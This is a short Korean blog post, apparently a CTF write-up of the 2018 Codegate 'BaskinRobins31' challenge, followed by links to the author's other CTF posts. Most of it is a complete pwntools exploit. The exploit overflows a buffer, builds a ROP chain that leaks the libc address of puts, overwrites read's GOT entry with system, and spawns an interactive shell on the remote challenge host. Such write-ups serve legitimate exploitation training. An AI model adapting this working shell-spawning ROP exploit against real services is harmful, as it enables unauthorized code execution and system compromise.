2018 Codegate BaskinRobins31
CTF2018. 2. 4. 21:33
보호기법부터 체크하자!
메인함수를 보자!
재미있는 베스킨라빈스 게임이다. Hint is ROP? 어딘가 값을 크게 받는가보다.
어디서 받을까하고 찾아봤더니
your_turn 함수에서 s 사이즈보다 큰 400byte를 받는다. PIE와 Full RELRO도 걸리지 않았으니 bss 영역과 함수들의 plt got를 이용하여 ROP를 했다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | from pwn import* #p = process(["./BaskinRobins31"],env={'LD_PRELPAD':'libc6_2.23-0ubuntu10_amd64.so'}) p = remote("ch41l3ng3s.codegate.kr",3131) elf = ELF("./BaskinRobins31") rdi = 0x00400bc3 rsi = 0x00400bc1 rdx = 0x0040087c read_plt = elf.plt["read"] read_got = elf.got["read"] puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] bss = elf.bss() binsh = "/bin/sh\x00" payload = "A"*176 payload += "B"*8 payload += p64(rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(rdi) payload += p64(0) payload += p64(rsi) payload += p64(bss) payload += p64(bss) payload += p64(rdx) payload += p64(len(binsh)+1) payload += p64(read_plt) payload += p64(rdi) payload += p64(0) payload += p64(rsi) payload += p64(read_got) payload += p64(read_got) payload += p64(rdx) payload += p64(8) payload += p64(read_plt) payload += p64(rdi) payload += p64(bss) payload += p64(read_plt) print p.recv(1024) p.send(payload) print p.recvuntil("Don't break the rules...:( \n") leak = u64(p.recv(6)+"\x00\x00") base = leak - 0x6f690 system = base+0x45390 print "1: "+hex(leak) print "2: "+hex(base) print "3: "+hex(system) p.send(binsh) p.send(p64(system)) p.interactive() | cs |
풀 수 있는 문제들이 나와서 다행인 대회였다ㅎ.
'CTF' 카테고리의 다른 글
Bctf_2016 bcloud (0) | 2018.02.21 |
---|---|
2018 Codegate Super Marimo (6) | 2018.02.06 |
2018 Codegate RedVelvet (0) | 2018.02.04 |
2017 acebear CTF easy_heap (0) | 2018.01.30 |
2017 codegate Babypwn (2) | 2018.01.25 |